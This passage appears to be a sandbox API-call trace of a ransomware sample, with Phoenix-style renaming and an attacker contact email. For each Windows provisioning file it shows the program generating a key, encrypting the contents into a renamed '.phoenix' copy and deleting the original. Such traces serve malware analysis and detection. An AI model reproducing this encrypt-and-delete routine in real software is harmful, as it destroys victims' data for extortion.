	[0245.207] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0245.207] CryptDestroyKey (hKey=0x151180) returned 1
	[0245.207] CloseHandle (hObject=0x2c4) returned 1
	[0245.207] CloseHandle (hObject=0x2d8) returned 1
	[0245.207] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.208] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0245.208] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0245.208] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=791) returned 1
	[0245.208] CloseHandle (hObject=0x2d8) returned 1
	[0245.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.209] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0245.209] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.209] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.209] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0245.209] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0245.210] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.210] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x317, lpOverlapped=0x0) returned 1
	[0245.481] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320, dwBufLen=0x320 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320) returned 1
	[0245.481] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x320, lpOverlapped=0x0) returned 1
	[0245.482] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0245.482] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.482] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0245.482] CryptDestroyKey (hKey=0x151440) returned 1
	[0245.482] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0245.482] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0245.482] CloseHandle (hObject=0x2d8) returned 1
	[0245.482] CloseHandle (hObject=0x2c4) returned 1
	[0245.482] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\270__connections_cellular_telefonica (mexico)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.483] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0245.483] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0245.483] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=730) returned 1
	[0245.483] CloseHandle (hObject=0x2c4) returned 1
	[0245.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0245.492] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.492] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0245.492] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0245.492] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.493] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2da, lpOverlapped=0x0) returned 1
	[0245.764] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0245.764] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0245.765] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0245.765] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.765] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0245.765] CryptDestroyKey (hKey=0x151180) returned 1
	[0245.765] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0245.765] CryptDestroyKey (hKey=0x151080) returned 1
	[0245.765] CloseHandle (hObject=0x2c4) returned 1
	[0245.765] CloseHandle (hObject=0x2d8) returned 1
	[0245.765] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.767] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0245.767] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0245.767] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=727) returned 1
	[0245.767] CloseHandle (hObject=0x2d8) returned 1
	[0245.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0245.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.767] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0245.768] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.768] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.768] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0245.768] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0245.768] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.768] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d7, lpOverlapped=0x0) returned 1
	[0245.814] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0245.814] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0245.815] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0245.815] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.815] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0245.815] CryptDestroyKey (hKey=0x151600) returned 1
	[0245.816] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0245.816] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0245.816] CloseHandle (hObject=0x2d8) returned 1
	[0245.816] CloseHandle (hObject=0x2c4) returned 1
	[0245.816] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml")) returned 1
	[0245.817] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0245.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0245.817] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=738) returned 1
	[0245.817] CloseHandle (hObject=0x2c4) returned 1
	[0245.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0245.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0245.818] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.818] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0245.818] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0245.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0245.818] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.818] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e2, lpOverlapped=0x0) returned 1
	[0246.498] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0246.498] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0246.499] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0246.499] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0246.499] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0246.499] CryptDestroyKey (hKey=0x151640) returned 1
	[0246.499] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0246.499] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0246.499] CloseHandle (hObject=0x2c4) returned 1
	[0246.499] CloseHandle (hObject=0x2d8) returned 1
	[0246.499] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\277__connections_cellular_kpn-hi (netherlands)_i1$(__mvid)@wap.provxml")) returned 1
	[0246.501] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0246.501] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\27__connections_cellular_a1 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0246.502] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=640) returned 1
	[0246.502] CloseHandle (hObject=0x2c4) returned 1
